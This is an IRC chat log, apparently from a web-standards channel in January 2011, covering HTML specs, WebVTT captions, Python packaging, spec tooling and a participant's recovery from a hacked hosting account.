[22:34:00.0000] <othermaciej>
I've been skimming public-html-xml archives today

[22:35:00.0000] <othermaciej>
it is hard to tell what the goal is there

[22:41:00.0000] <Hixie>
as far as i can tell, all the use cases listed in that e-mail have well-understood, well-established, and already-deployed solutions

[22:46:00.0000] <Hixie>
1: what normal describes (there's no namespace problem); 2: use an XML parser (browsers have been doing this for years); 3: as he says, XHTML, or as Atom does, a CDATA block; 4: <script> is designed for this purpose now; 5: just a combination of 3 and 4, nothing special beyond that is needed.

[22:54:00.0000] <Hixie>
case 2 was explained further in http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0045.html; the solution is to transform the content into HTML using an XML parser, and HTML serialiser, and some logic

[23:28:00.0000] <othermaciej>
hsivonen: if you think the polyglot spec should have dire warnings, I suggest filing a bug to that effect (re http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0138.html )

[23:29:00.0000] <Hixie>
only 14 bits remaining to write on http://wiki.whatwg.org/wiki/Change_Proposal_for_ISSUE-129 ... in case anyone is bored and looking for something to do :-D

[23:42:00.0000] <hsivonen>
othermaciej: OK

[00:33:00.0000] <hsivonen>
who do I need to login again and again on every login-requiring action on the W3C Bugzilla?

[00:33:01.0000] <hsivonen>
I have allowed cookies from w3.org and www.w3.org

[00:33:02.0000] <hsivonen>
doesn't happen on other bugzillas

[01:07:00.0000] <hsivonen>
othermaciej: I filed a couple of bugs about Polyglot Markup

[01:08:00.0000] <annevk>
AryehGregor, yeah, you need his version of Anolis

[01:09:00.0000] <annevk>
AryehGregor, the way I solved this was by just changing the source and let Ms2ger do the rest :)

[01:11:00.0000] <hsivonen>
hmm. 134 "hard" blockers for Firefox 4 still

[01:12:00.0000] <annevk>
I read something about a release end of February?

[01:14:00.0000] <hsivonen>
annevk: this http://groups.google.com/group/mozilla.dev.planning/msg/cb1c625584526e97 ?

[01:14:01.0000] <annevk>
I think so, it was a Dutch news article that linked to some newsgroup post

[01:21:00.0000] <zcorpan>
hsivonen: any parser bugs that are blocking?

[01:22:00.0000] <hsivonen>
zcorpan: the <figure> ISSUE is a "soft" blocker

[01:22:01.0000] <hsivonen>
zcorpan: no hard ones

[02:08:00.0000] <matjas>
are you kidding me? @gruber didn’t know YouTube has been serving WebM for months?

[02:10:00.0000] <hsivonen>
matjas: awesome, isn't it?

[02:11:00.0000] <matjas>
makes me a sad, sad panda

[02:13:00.0000] <Rik`_>
this really shows how careful he was before bahsing

[02:16:00.0000] <annevk>
fuck

[02:16:01.0000] <annevk>
my dreamhost account was hacked

[02:16:02.0000] <hsivonen>
annevk: when?

[02:16:03.0000] <Lachy>
annevk, what happened to it?

[02:17:00.0000] <annevk>
I'm not sure when it happened, but they modified a file and redirected people coming from search engines to some scam site

[02:17:01.0000] <Lachy>
check the modification date on that file

[02:17:02.0000] <annevk>
and they also fucked up my yearly archive file encoding somehow

[02:18:00.0000] <annevk>
Lachy, sigh, I modified it already :/

[02:18:01.0000] <Lachy>
ok

[02:18:02.0000] <Lachy>
did they edit .htaccess, or one of your PHP or python scripts?

[02:18:03.0000] <annevk>
PHP

[02:19:00.0000] <annevk>
but I have not checked everything yet

[02:19:01.0000] <annevk>
I have changed my dreamhost account and database password

[02:21:00.0000] <gsnedders>
Do you use any non-custom stuff on it? I remember WP having some bug that was exploited like that…

[02:22:00.0000] <hsivonen>
WP seriously needs an action for "Delete this post, its author and all other posts from the same author" in the "Posts" admin view

[02:22:01.0000] <annevk>
yes, in various places I do

[02:22:02.0000] <gsnedders>
annevk: I would suspect them more than any password.

[02:23:00.0000] <Lachy>
hsivonen, it's easier if you delete the author instead, and then you take out all the posts along with them

[02:25:00.0000] <annevk>
gsnedders, but the hack was crafted specifically for my site

[02:25:01.0000] <hsivonen>
Lachy: I mean the Posts view seriously needs a shortcut for that

[02:25:02.0000] <gsnedders>
annevk: In what way?

[02:25:03.0000] <Lachy>
hsivonen, yeah, I know

[02:25:04.0000] <hsivonen>
Lachy: I think copying and pasting usernames between the two views isn't a useful exercise

[02:26:00.0000] <Lachy>
no, it's annoying, but it's the most effective way I found to do it, given the limitations

[02:26:01.0000] <annevk>
gsnedders, they figured out how my site was structured, modified one file and added another one to aid and that was it

[02:26:02.0000] <hsivonen>
I'm rather nervous about having Perl and Python on my server

[02:26:03.0000] <hsivonen>
but buying a separate VM for Bugzilla and test cases seems like an overkill

[02:26:04.0000] <hsivonen>
s/Python/PHP/

[02:31:00.0000] <Philip`>
/me wonders what's wrong with having Perl on one's server

[02:33:00.0000] <hsivonen>
Philip`: I see security patches for the Perl packages too often

[02:34:00.0000] <annevk>
oh I can still check modified dates

[02:36:00.0000] <Philip`>
/me likes that Perl has taint mode, since that makes things feel a bit safer

[02:36:01.0000] <annevk>
"2011-01-09 10:22"

[02:36:02.0000] <annevk>
five fricking days

[02:37:00.0000] <hsivonen>
annevk: did you already end up in some kind of badware filter?

[02:37:01.0000] <annevk>
I found out via a Google search

[02:37:02.0000] <hsivonen>
annevk: how? did Google flag your site as dangerous?

[02:38:00.0000] <annevk>
I was wondering what http://i.imgur.com/KpI5n.jpg would do for my own site

[02:38:01.0000] <annevk>
and when I ran that I got results for Viagra

[02:38:02.0000] <annevk>
which made me go o_O

[02:40:00.0000] <MikeSmith>
hsivonen: I don't have that problem with W3C bugzilla

[02:40:01.0000] <annevk>
but they have fiddled with my .htaccess as well

[02:41:00.0000] <MikeSmith>
but I can help try to figure out why it's happening

[02:41:01.0000] <annevk>
but they made a few mistakes which screwed up the encoding and made the 2011 archive stop working

[02:41:02.0000] <annevk>
that is only why I noticed that

[02:43:00.0000] <Philip`>
Do you have a known-good backup of the site you can diff against?

[02:43:01.0000] <annevk>
I wish

[02:51:00.0000] <annevk>
ls -lha is nice

[02:53:00.0000] <MikeSmith>
hsivonen: if people want to help test Firefox releases or nightlies, is there a good page to point them to for details?

[02:55:00.0000] <MikeSmith>
other than just http://www.mozilla.com/en-US/firefox/all-beta.html I mean

[02:57:00.0000] <MikeSmith>
(minus en-US)

[03:02:00.0000] <MikeSmith>
http://www.mozilla.org/contribute/ maybe

[03:03:00.0000] <Rik`>
MikeSmith: maybe http://quality.mozilla.org/docs/misc/how-can-i-help-test/ ?

[03:03:01.0000] <MikeSmith>
Rik`: yes!

[03:03:02.0000] <MikeSmith>
thanks

[03:04:00.0000] <Rik`>
btw, there is a sync testday today http://quality.mozilla.org/events/2011/01/11/firefox-sync-testday-friday-january14th/

[03:13:00.0000] <Rik`>
MikeSmith: the getting started section on http://quality.mozilla.org/docs/ seems better

[03:13:01.0000] <MikeSmith>
/me takes a look

[03:25:00.0000] <jgraham>
AryehGregor: Pretty much all programming languages have their own distribution systems. Relying on apt or whatever doesn't really work because the timescales for updates are so different\

[03:26:00.0000] <jgraham>
AryehGregor: With python the One True Way is virtualenv (always) + pip

[03:31:00.0000] <annevk>
I think I cleared it up

[03:31:01.0000] <hsivonen>
MikeSmith: http://quality.mozilla.org/docs/misc/how-can-i-help-test/ that Rik` pointed to looks like a good reference

[03:32:00.0000] <annevk>
I wonder how they got in

[03:32:01.0000] <hsivonen>
annevk: you could let Dreamhost know and see if they find something interesting in their logs

[03:32:02.0000] <annevk>
it seems like they got hold of the ssh login somehow as the changes are pretty local

[03:32:03.0000] <MikeSmith>
hsivonen: thanks

[03:34:00.0000] <MikeSmith>
so Google says WebVTT needs "a structure to add header-style metadata"

[03:35:00.0000] <MikeSmith>
the concern about non-browser applications is also interesting

[03:38:00.0000] <MikeSmith>
http://edocket.access.gpo.gov/cfr_2007/octqtr/pdf/47cfr15.119.pdf and https://docs.google.com/viewer?a=v&q=cache:UKnzJubrIh8J:tech.ebu.ch/docs/tech/tech3264.pdf seem worth perusing

[03:38:01.0000] <MikeSmith>
EBU STL and CEA-608/708 captions

[03:38:02.0000] <hsivonen>
MikeSmith: is that the floppy disk and MS DOS-oriented EBU spec?

[03:38:03.0000] <MikeSmith>
dunno

[03:38:04.0000] <MikeSmith>
that's the first i ever learned of it

[03:39:00.0000] <MikeSmith>
I guess Silvia would know

[03:39:01.0000] <hsivonen>
MikeSmith: oh yes. see section 2. Medium for exchange for the lolz

[03:40:00.0000] <MikeSmith>
heh

[03:40:01.0000] <MikeSmith>
beautiful

[03:40:02.0000] <hsivonen>
I read that spec as part of my job in 2002

[03:40:03.0000] <MikeSmith>
I guess this says something about the persistence of decently specced formats

[03:41:00.0000] <MikeSmith>
hsivonen: note also:

[03:41:01.0000] <MikeSmith>
* underline: EBU STL, CEA-608 and CEA-708 support underlining of

[03:41:02.0000] <MikeSmith>
characters. The underline character is also particularly important for

[03:41:03.0000] <MikeSmith>
some Asian languages. Please make it possible to provide text

[03:41:04.0000] <MikeSmith>
underlines without the use of CSS in WebVTT.

[03:43:00.0000] <MikeSmith>
the stuff about how default-track choice works in YouTube is interesting

[03:44:00.0000] <MikeSmith>
hmm, "Ability to move captions out of the way"

[03:44:01.0000] <hsivonen>
MikeSmith: where are you quoting from? list email that hasn't reached me yet?

[03:44:02.0000] <MikeSmith>
seems like a UI feature

[03:44:03.0000] <MikeSmith>
http://lists.whatwg.org/pipermail/whatwg-whatwg.org/2011-January/029859.html

[03:45:00.0000] <MikeSmith>
message from Silvia

[03:52:00.0000] <hsivonen>
Firefox 4 say "probably" for "video/webm". Chrome, Chromium, Opera and Midori say "maybe"

[03:53:00.0000] <hsivonen>
all of them say "probably" with codecs="vp8, vorbis"

[03:54:00.0000] <zcorpan>
"Generally, a user agent should never return "probably" for a type that allows the codecs parameter if that parameter is not present."

[03:55:00.0000] <hsivonen>
I wonder if we have a bug for that

[04:00:00.0000] <annevk>
hsivonen, DreamHost said it did not have the resources. I nonetheless asked again because of the circumstances. This was quite a specific attack.

[04:00:01.0000] <annevk>
And I only ever use SSH so how they got my password...

[04:03:00.0000] <Philip`>
annevk: Could it have been via a PHP script vulnerability?

[04:07:00.0000] <annevk>
Philip`, I do not really see how

[04:07:01.0000] <Evet>
is amplesdk+xul best for desktop-like RIAs?

[04:08:00.0000] <annevk>
Google Webmaster Tools did not detect malware

[04:08:01.0000] <annevk>
weird

[04:09:00.0000] <Philip`>
/me wonders why he's only ever heard of this kind of attack on Dreamhost sites

[04:09:01.0000] <Philip`>
(It sounds similar to http://philip.html5.org/misc/spammy-sites.txt)

[04:09:02.0000] <Philip`>
(Maybe it's just because almost everybody uses Dreamhost for their sites)

[04:23:00.0000] <Ms2ger>
AryehGregor, yes, DOM Range uses the extensions I added to anolis for it ;)

[04:34:00.0000] <MikeSmith>
why not use refspec?

[04:34:01.0000] <MikeSmith>
or respec I guess it is

[04:46:00.0000] <Ms2ger>
Why would I?

[04:46:01.0000] <Ms2ger>
And does it have cross-spec cross-references?

[04:47:00.0000] <annevk>
Philip`, would be nice to find out

[07:15:00.0000] <AryehGregor>
jgraham, there's nothing to stop Python repos from at least integrating sanely with the native package management system.  Like automatically installing dependencies from the local package manager.  Or, I don't know, shipping binaries instead of just source code.

[07:15:01.0000] <AryehGregor>
Anyway, timescales are irrelevant.  You can have an APT repository that's updated every two minutes.

[07:16:00.0000] <AryehGregor>
I didn't say it had to be the distro's repo, just that it should use the same system, or one with comparably many features.

[07:16:01.0000] <AryehGregor>
/me grumbles

[07:16:02.0000] <jgraham>
You are proposing that PyPI provides its own repositories for linux systems?

[07:16:03.0000] <jgraham>
That seems complex and not that useful

[07:16:04.0000] <AryehGregor>
Why not?  Plenty of places do it.  Opera, for instance.

[07:17:00.0000] <AryehGregor>
Just write something that will convert eggs into .deb's.

[07:17:01.0000] <AryehGregor>
And allow authors to specify per-distro dependencies.

[07:17:02.0000] <AryehGregor>
Ms2ger, so do you have instructions somewhere for how to compile your version of Anolis, or do I just have to submit patches blindly and hope they work?  Because there's a bunch more stuff I'm slated to do with Selections.

[07:17:03.0000] <Philip`>
.deb files aren't especially useful for distros that don't use .deb files

[07:17:04.0000] <jgraham>
Authors don't want to specify per-distro anything since they are likely not using linux at all

[07:17:05.0000] <AryehGregor>
So also have something that converts them to RPM files.

[07:17:06.0000] <Philip`>
Some don't use RPM files either

[07:18:00.0000] <jgraham>
But mostly you don't want to use system-wide packages

[07:18:01.0000] <AryehGregor>
easy_install doesn't use system-wide packages?

[07:18:02.0000] <AryehGregor>
Philip`, they can suffer for their obstinacy.

[07:18:03.0000] <jgraham>
The only packages I would consider installing system-wide are things like NumPy

[07:18:04.0000] <jgraham>
AryehGregor: It does, by default

[07:18:05.0000] <jgraham>
That is a bug

[07:18:06.0000] <AryehGregor>
I see.

[07:18:07.0000] <jgraham>
Like I said the One True Way is to use Virtualenv + pip

[07:19:00.0000] <AryehGregor>
I stand by my position: this is a mess.

[07:19:01.0000] <jgraham>
It's not great, but no worse than ruby + gems or java + (whatever it is they use)

[07:19:02.0000] <jgraham>
maven?

[07:19:03.0000] <Philip`>
AryehGregor: I don't want to suffer :-(

[07:20:00.0000] <AryehGregor>
Or PHP + PEAR, or Perl + CPAN, I guess.

[07:20:01.0000] <AryehGregor>
Philip`, then use a distro that doesn't behave radically differently from the distros normal people use.

[07:21:00.0000] <Philip`>
Some relatively normal people use Gentoo/Arch/Pardus/etc

[07:22:00.0000] <AryehGregor>
I dispute that characterization.

[07:23:00.0000] <Philip`>
Really normal people just use Windows, so it's only a difference of degree

[07:24:00.0000] <Philip`>
/me installs most Perl/Python packages on Gentoo via the standard Portage package system, since it's got most of the common ones that he wants

[07:26:00.0000] <AryehGregor>
/me should have checked that before using easy_install on all of these

[07:26:01.0000] <AryehGregor>
Is there a way to uninstall stuff installed via easy_install?

[07:26:02.0000] <AryehGregor>
Wow, they even have html5lib.

[07:28:00.0000] <AryehGregor>
/me finds docs, although it has no man page . . .

[07:28:01.0000] <karlcow>
maybe uneasy_install ;)

[07:30:00.0000] <jgraham>
AryehGregor: Not really

[07:30:01.0000] <Philip`>
Clearly they couldn't be missing a fundamental feature like that, so just run easy_install --help and look for the uninstall option, which is, uh, ... not there?

[07:31:00.0000] <jgraham>
In general the install script can do anything so it's not really trivial to implement

[07:31:01.0000] <AryehGregor>
I did easy_install -mxN followed by rm -rf on the .egg directory it mentioned when I did that, will that horribly break everything?

[07:31:02.0000] <AryehGregor>
Yeah, I actually remember that this is what I was told one time before when I used easy_install.

[07:31:03.0000] <jgraham>
No.

[07:31:04.0000] <jgraham>
It shouldn't horribly break everything

[07:31:05.0000] <jgraham>
pip has uninstall

[07:32:00.0000] <AryehGregor>
I guess I must have optimistically hoped that whoever was responsible for that decision must have been clubbed to death by an angry mob and replaced by someone not entirely incompetent in the interim.

[07:32:01.0000] <jgraham>
Did I mention that virtualenv + pip is the way forward?

[07:32:02.0000] <AryehGregor>
Yes, but the stuff I was pointed to by docs said easy_install.

[07:32:03.0000] <jgraham>
AryehGregor: That is not quite unlike the truth

[07:32:04.0000] <Philip`>
Python library install scripts surely can't be more complex than arbitrary Linux package install scripts, and Linux package managers provide uninstall, so that doesn't seem like a very good excuse

[07:32:05.0000] <AryehGregor>
Like this: http://code.google.com/p/html5lib/wiki/UserDocumentation

[07:32:06.0000] <AryehGregor>
Yeah, presumably you just have to write a matching uninstall script.

[07:32:07.0000] <MikeSmith>
what Philip` said

[07:32:08.0000] <jgraham>
AryehGregor: pip will install anything easy)install will install

[07:33:00.0000] <MikeSmith>
I guess the easy_ part means "simple minded"

[07:33:01.0000] <MikeSmith>
a package-management system that doesn't provide an uninstall mechanism is nuts

[07:33:02.0000] <jgraham>
(they didn't club him to death, but they did treat him as damage to be routed around)

[07:34:00.0000] <Philip`>
/me has never installed html5lib, he always just downloads from SVN/Hg and points PYTHONPATH at it, because that seems the least confusing option

[07:34:01.0000] <jgraham>
(by writing better replacements for his tools)

[07:34:02.0000] <jgraham>
/me generally clones from hg and does python setup.py develop inside a virtualenv

[07:37:00.0000] <AryehGregor>
What exactly is virtualenv?

[07:38:00.0000] <jgraham>
It is a way of creating a python environment in a given directory

[07:38:01.0000] <jgraham>
usually the root directory of whatever you are writing

[07:39:00.0000] <jgraham>
so if you are creating a spam project, you do

[07:39:01.0000] <jgraham>
vitrualenv spam

[07:39:02.0000] <jgraham>
and it wil create ./spam

[07:39:03.0000] <jgraham>
then cd spam; source bin/activate

[07:40:00.0000] <jgraham>
and all python packages you install whilst the environment is activated will go in the spam directory

[07:40:01.0000] <AryehGregor>
Does anyone know how to get blame info for Mozilla stuff from the pre-hg era?  I can't quickly find instructions on Google.

[07:40:02.0000] <jgraham>
and that will be first on your python path, so everything will be loaded from there too

[07:40:03.0000] <jgraham>
(--no-site-packages means that it will never look outside the virtualenv)

[07:41:00.0000] <jgraham>
http://iamzed.com/2009/05/07/a-primer-on-virtualenv/

[07:41:01.0000] <Philip`>
AryehGregor: http://mxr.mozilla.org/mozilla/source/ ?

[07:41:02.0000] <Philip`>
then select file then select CVS Blame

[07:42:00.0000] <AryehGregor>
I don't see a CVS blame option here: http://mxr.mozilla.org/mozilla-central/source/layout/generic/nsSelection.cpp

[07:42:01.0000] <Philip`>
http://mxr.mozilla.org/mozilla/source/layout/generic/nsSelection.cpp

[07:42:02.0000] <Philip`>
(No -central)

[07:43:00.0000] <AryehGregor>
Ah.

[07:48:00.0000] <AryehGregor>
Thanks.

[07:59:00.0000] <Ms2ger>
AryehGregor, here now

[07:59:01.0000] <AryehGregor>
Ms2ger, so how do I get your version of anolis to work so I can test out the spec?

[08:03:00.0000] <AryehGregor>
:(

[08:06:00.0000] <annevk>
we should really find a way to get the work from Ms2ger integrated in pimpmyspec.net

[08:06:01.0000] <annevk>
then HTML5 can use it too

[08:07:00.0000] <annevk>
and nobody has to deal with pesky Python dependencies

[08:07:01.0000] <annevk>
except for jgraham

[08:07:02.0000] <jgraham>
"A good way" === me pulling his repository

[08:07:03.0000] <jgraham>
and maybe making UI changes

[08:07:04.0000] <jgraham>
I don't really want to make the UI changes :)

[08:08:00.0000] <jgraham>
What extra options does it add?

[08:08:01.0000] <annevk>
his version also takes more input

[08:08:02.0000] <annevk>
cross-spec cross-references

[08:08:03.0000] <annevk>
supercool

[08:08:04.0000] <jgraham>
How do you provide those?

[08:08:05.0000] <a-ja>
re: google comments -- version numbers in webvvt files? seriously?

[08:08:06.0000] <a-ja>
deja vu

[08:09:00.0000] <annevk>
the generic metadata thing also seems kind of dodgy

[08:09:01.0000] <annevk>
jgraham, euhm let me check

[08:10:00.0000] <annevk>
jgraham, does https://bitbucket.org/ms2ger/dom-range/src/170a27569ef0/Makefile help?

[08:11:00.0000] <jgraham>
annevk: a little. I'm not sure what xrefs.json is for

[08:11:01.0000] <jgraham>
I expected it to be input, but it seems to be output

[08:12:00.0000] <annevk>
https://bitbucket.org/ms2ger/anolis/src has a README

[08:14:00.0000] <jgraham>
Oh, that is a bit helpful

[08:15:00.0000] <jgraham>
I'm not sure I support references at all

[08:15:01.0000] <annevk>
section 4.4 and 4.5

[08:15:02.0000] <annevk>
yeah, references is another new feature

[08:15:03.0000] <jgraham>
Yeah

[08:17:00.0000] <annevk>
I think ideally trusted people can update the references so they do not need to be provided separately

[08:17:01.0000] <annevk>
same maybe for cross-spec cross-ref

[08:17:02.0000] <jgraham>
I think they need to be provided

[08:17:03.0000] <jgraham>
But I think it should be OK to provide a URL

[08:18:00.0000] <jgraham>
Which I guess doesn't work right now

[08:18:01.0000] <annevk>
you mean to override?

[08:18:02.0000] <annevk>
I guess that's fine, I hope I never need it though :)

[08:18:03.0000] <jgraham>
No, I mean that you have to provide a json file with paths to the differnt xspec-xrefs

[08:19:00.0000] <jgraham>
instead you should be able to provide URLs to the different xspec-xrefs

[08:19:01.0000] <jgraham>
(or rather to the json files that provide them)

[08:19:02.0000] <annevk>
I see... can't pimpmyspec simply keep them around?

[08:20:00.0000] <jgraham>
Not really. There is no unique name or anything

[08:20:01.0000] <annevk>
shortname of specs ought to be unique

[08:20:02.0000] <jgraham>
Yeah, but afaict nothing enforces that in the current design

[08:21:00.0000] <jgraham>
and you need to deal with updates and such

[08:21:01.0000] <annevk>
if all specs are generated through pimpmyspec.net you should always have uptodate info :)

[08:21:02.0000] <jgraham>
Anyway, this is all possible but will probably require some minor backend changes

[08:36:00.0000] <AryehGregor>
I think I'm writing too many tests.

[08:36:01.0000] <AryehGregor>
Well, we'll see.

[08:37:00.0000] <Philip`>
How is it possible to have too many tests?

[08:37:01.0000] <Ms2ger>
If they're manual ones, not too hard

[08:37:02.0000] <AryehGregor>
These are automated.

[08:37:03.0000] <AryehGregor>
But they still might run way too long.

[08:37:04.0000] <AryehGregor>
I dunno, I haven't finished writing them yet.

[08:38:00.0000] <Ms2ger>
Computer time is cheap

[08:38:01.0000] <AryehGregor>
Tell that to Mozilla, they removed one of my textarea.maxLength tests because it was taking several seconds to run.  :(

[08:38:02.0000] <Philip`>
Developer time waiting for tests to complete running is expensive

[08:38:03.0000] <AryehGregor>
(Apparently synthesizing keystrokes is fairly expensive?)

[08:39:00.0000] <Ms2ger>
That's possible

[08:39:01.0000] <AryehGregor>
Hmm, I can't really give all my tests meaningful distinct names.  Oh well, I'll just number them.

[08:40:00.0000] <AryehGregor>
It's annoying that in jgraham's framework you can't name asserts.

[08:40:01.0000] <AryehGregor>
But I guess it's not a huge deal.

[08:40:02.0000] <jgraham>
AryehGregor: You can, no?

[08:40:03.0000] <AryehGregor>
Can you?

[08:40:04.0000] <AryehGregor>
I'll have to start doing that, then.

[08:40:05.0000] <jgraham>
assert_true(true, "True is true")

[08:41:00.0000] <AryehGregor>
Oh, so you can.

[08:41:01.0000] <AryehGregor>
Look at that.

[08:41:02.0000] <AryehGregor>
I'll have to update my tests now.

[08:41:03.0000] <Ms2ger>
Are you on bitbucket, btw?

[08:41:04.0000] <jgraham>
/me is happy to have brought a little joy to your life

[08:41:05.0000] <jgraham>
Ms2ger: Who AryehGregor or me?

[08:41:06.0000] <Ms2ger>
Aryeh

[08:41:07.0000] <AryehGregor>
No.

[08:43:00.0000] <Ms2ger>
Then I can't give you write access, apparently

[08:44:00.0000] <AryehGregor>
So much for distributed.

[08:45:00.0000] <AryehGregor>
I'll make an account later, I guess.

[08:55:00.0000] <AryehGregor>
What's the JavaScript way to check if an element is in an array?  .indexOf != -1, no cute "in" stuff like in Python?

[08:57:00.0000] <Ms2ger>
How well supported is indexOf?

[08:57:01.0000] <AryehGregor>
I don't know.  What's the alternative?

[08:59:00.0000] <Ms2ger>
for (var i = 0; i < haystack.length; ++i) { if (haystack[i] === needle) { win(); } } lose()

[09:00:00.0000] <Philip`>
http://www.w3schools.com/jsref/jsref_obj_array.asp doesn't mention Array.indexOf

[09:00:01.0000] <Philip`>
so I guess it didn't exist when they wrote that site in the 90s

[09:00:02.0000] <nimbupani>
http://w3fools.com/ :))

[09:10:00.0000] <annevk>
nimbupani, nice

[09:16:00.0000] <AryehGregor>
nimbupani, should I contact them about the inaccuracies I've found in their corrections?  :)

[09:17:00.0000] <AryehGregor>
There are actually quite a lot.

[09:17:01.0000] <AryehGregor>
Although not nearly as bad as w3schools.

[09:17:02.0000] <nimbupani>
them = me paul_irish and a bunch of others who are also lurking here

[09:18:00.0000] <nimbupani>
so please say it here

[09:18:01.0000] <nimbupani>
so I can correct em on the fly :)

[09:18:02.0000] <AryehGregor>
Ah.

[09:18:03.0000] <AryehGregor>
"Again, frames are considered among the very worst of practices in modern Web development. In fact, they are considered so bad, they have been removed completely from the HTML5 spec."  There are still implementation conformance requirements for <frame> in HTML5.

[09:19:00.0000] <AryehGregor>
'"Correctly" does not mean "try to guess and maybe get it right some of the time", which is what actually happens, usually in different ways between different browsers.'  The last part is wrong in common cases (end-tag substitution is often pretty uniform), and will be totally wrong once all browsers are using HTML5 parsers.

[09:19:01.0000] <AryehGregor>
"In HTML-dialect HTML5, boolean attributes like hidden do not have a value."  They do have a value.  The value is just irrelevant to how the attribute is processed.

[09:20:00.0000] <AryehGregor>
"Furthermore, <br /> isn't semantic and probably should not be mentioned at all."  <br> is semantic in some cases, such as poems or addresses.

[09:20:01.0000] <AryehGregor>
"This is wrong. All of these elements were deprecated in HTML4."  But <i>, <b>, and <small> are no longer deprecated as of HTML5.

[09:21:00.0000] <AryehGregor>
"This code is wrong. Non-block-level elements (such as <input> or CDATA) are not valid directly inside <form> tags until HTML5."  Thus it's right, as of HTML5 . . .

[09:21:01.0000] <nimbupani>
got it.

[09:22:00.0000] <AryehGregor>
"This is false. URL encodings are not ISO-8859-1. RFC 3986 is the standard defining URL encoding, and specifies that textual characters should, in fact, be mapped to UTF-8 octets."  But in practice they're often generated and processed using various random non-UTF-8 encodings (AFAIK).

[09:22:01.0000] <Philip`>
"XHTML has been discontinued" - not really; XHTML5 is still being developed

[09:23:00.0000] <karlcow>
maybe the good sentence is "XHTML 2.0 has been discontinued"

[09:24:00.0000] <Philip`>
That would be an irrelevant sentence

[09:24:01.0000] <annevk>
AryehGregor, actually no

[09:24:02.0000] <AryehGregor>
No to which?

[09:24:03.0000] <Ms2ger>
All of them ;)

[09:24:04.0000] <annevk>
AryehGregor, only the query string can end up as non-UTF-8

[09:24:05.0000] <AryehGregor>
Well, that's part of the URL, isn't it?

[09:24:06.0000] <karlcow>
Philip`: would you prefer? "The work on XHTML 2.0 has been discontinued and published as a W3C note. XHTML5 is the new XML serialization of HTML5"

[09:24:07.0000] <annevk>
AryehGregor, yes, but the path is always encoded as UTF-8

[09:25:00.0000] <AryehGregor>
Well, okay.

[09:25:01.0000] <AryehGregor>
The point stands.

[09:25:02.0000] <Ms2ger>
I believe the point was that any reference to XHTML2 is irrelevant

[09:25:03.0000] <annevk>
AryehGregor, well, it's not random and it's also not various

[09:26:00.0000] <Philip`>
"Oh, and by the way, user-agent sniffing is a very bad thing, because is easily spoofable" - that's not why it's a very bad thing

[09:26:01.0000] <annevk>
AryehGregor, would be a pretty poor substitute :)

[09:26:02.0000] <AryehGregor>
"The language was eventually standardized under the creative name ECMAScript by the EMCA international standards organization" Typo, EMCA instead of ECMA.

[09:26:03.0000] <karlcow>
hehe

[09:26:04.0000] <AryehGregor>
annevk, all right, all right, but the original was still wrong.

[09:27:00.0000] <karlcow>
nimbupani, paul_irish, miketaylr: I think you need a way to collect issues ;)

[09:27:01.0000] <nimbupani>
oops thanks AryehGregor

[09:27:02.0000] <nimbupani>
we have a github :)

[09:27:03.0000] <TabAtkins>
 "Also, the note about the variable argument sounds like it's half-BS to me."  Complete BS, right?

[09:27:04.0000] <nimbupani>
http://github.com/paulirish/w3fools

[09:27:05.0000] <miketaylr>
yeah, maybe tweet the github link, nimbupani?

[09:27:06.0000] <AryehGregor>
"On that note, W3C doesn't mention variable scoping at all…" Presumably you mean W3Schools here?

[09:27:07.0000] <paul_irish>
karlcow: i think *they* need a way to collect issues :)

[09:27:08.0000] <nimbupani>
OH SHIT AryehGregor

[09:27:09.0000] <nimbupani>
damn it

[09:28:00.0000] <karlcow>
hehe

[09:28:01.0000] <karlcow>
You gotta love irc :)

[09:30:00.0000] <AryehGregor>
"Furthermore, addressing has nothing to do with TCP. It happens on the OSI network layer; this information is very specific to IPv4 and is going to be increasingly obsolete as time goes on."  To be extremely pedantic, TCP does actually know about IP addresses, in that it uses the source and destination IP addresses to compute the checksum it puts in the segment header.

[09:31:00.0000] <nimbupani>
AryehGregor:  our audience is mostly people who think w3c and w3schools are the same :/

[09:32:00.0000] <AryehGregor>
"Actually, correct HTML is <br>, correct XHTML is <br />" <br /> is correct HTML5, as well as <br>.

[09:32:01.0000] <AryehGregor>
(likewise in at least one other case)

[09:32:02.0000] <nimbupani>
yes agreed.

[09:33:00.0000] <Philip`>
W3Schools says "TCP/IP" anyway, not "TCP"

[09:33:01.0000] <Philip`>
so complaining about TCP is irrelevant

[09:33:02.0000] <annevk>
"We think the resources we've recommended are superior for a variety of reasons." -- either say why or omit "variety of reasons"

[09:34:00.0000] <AryehGregor>
Okay, that's enough nitpicking.

[09:34:01.0000] <AryehGregor>
Back to work.

[09:34:02.0000] <AryehGregor>
Yay tests!

[09:34:03.0000] <Philip`>
Also addressing doesn't just happen on the network layer, it happens all over the place (like in DNS and FTP)

[09:35:00.0000] <nimbupani>
Thanks AryehGregor appreciate it quite a bit.

[09:38:00.0000] <annevk>
"Question 6 Bold? B? Really!?" and "Question 7 Italic? I? Really!?" is actually correct

[09:38:01.0000] <annevk>
better that people use <b> and <i> than something uninformed

[09:39:00.0000] <TabAtkins>
<b> is certainly better than <span style="font-weight:bold;">

[09:39:01.0000] <TabAtkins>
And in many cases better than <strong>.

[09:39:02.0000] <AryehGregor>
Yeah, I wasn't even getting into the stuff that was dodgy but not actually incorrect.

[09:41:00.0000] <karlcow>
<b>behaviors</b> and <strong>opinions</strong> on IRC

[09:42:00.0000] <TabAtkins>
Oh jeez, I just frightened myself by looking at a bill, until I realized the "balance" was just my mortgage.  Whew.

[09:42:01.0000] <miketaylr>
heh

[09:51:00.0000] <AryehGregor>
Okay, I apparently hit a bug in jgraham's test harness: http://aryeh.name/tests-root/tests/submission/AryehGregor/selection-extend.html

[09:51:01.0000] <AryehGregor>
Error: invalid array length

[09:51:02.0000] <AryehGregor>
Source File: http://aryeh.name/tests-root/tests/resources/testharness.js

[09:51:03.0000] <AryehGregor>
Line: 944

[09:51:04.0000] <AryehGregor>
This is why I should start by writing smaller tests first.

[09:56:00.0000] <MikeSmith>
othermaciej: fyi -

[09:56:01.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-2dcontext-20110113/

[09:56:02.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-html-alt-techniques-20110113/

[09:56:03.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-html-polyglot-20110113/

[09:56:04.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-html5-20110113/

[09:56:05.0000] <MikeSmith>
http://www.w3.org/TR/2011/WD-html5-diff-20110113/

[09:56:06.0000] <MikeSmith>
